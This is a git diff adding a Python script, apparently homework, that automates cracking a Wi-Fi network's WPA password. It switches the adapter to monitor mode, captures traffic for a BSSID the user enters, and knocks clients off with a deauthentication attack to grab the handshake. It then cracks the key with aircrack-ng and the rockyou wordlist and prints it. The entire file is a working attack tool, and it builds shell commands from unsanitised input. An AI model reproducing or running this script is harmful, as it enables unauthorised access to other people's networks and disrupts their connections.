diff --git a/hw7/claude/app.py b/hw7/claude/app.py new file mode 100644 index 0000000..4d9410c --- /dev/null +++ b/hw7/claude/app.py @@ -0,0 +1,58 @@ +import subprocess +import threading + +def run_command(command): + process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + output, error = process.communicate() + return output.decode('utf-8'), error.decode('utf-8') + +def change_mode(interface, mode): + run_command(f"sudo ifconfig {interface} down") + run_command(f"sudo iwconfig {interface} mode {mode}") + run_command(f"sudo ifconfig {interface} up") + +def start_monitor_mode(interface): + change_mode(interface, "monitor") + +def stop_monitor_mode(interface): + change_mode(interface, "managed") + +def crack_password(cap_file, wordlist, bssid): + command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}" + output, error = run_command(command) + if "KEY FOUND!" in output: + return output.split("KEY FOUND! [ ")[1].split(" ]")[0] + else: + return None + +def main(): + interface = "wlan0" + bssid = input("Enter the BSSID of the target network: ") + wordlist = "rockyou.txt" + cap_file = "capture.cap" + + print("[*] Enabling monitor mode...") + start_monitor_mode(interface) + + print("[*] Starting packet capture...") + capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",)) + capture_thread.start() + + print("[*] Performing deauthentication attack...") + run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}") + + capture_thread.join(timeout=60) + + print("[*] Cracking password...") + password = crack_password(f"{cap_file}-01.cap", wordlist, bssid) + + print("[*] Disabling monitor mode...") + stop_monitor_mode(interface) + + if password: + print(f"[+] Password found: {password}") + else: + print("[-] Password not found.") + +if __name__ == "__main__": + main()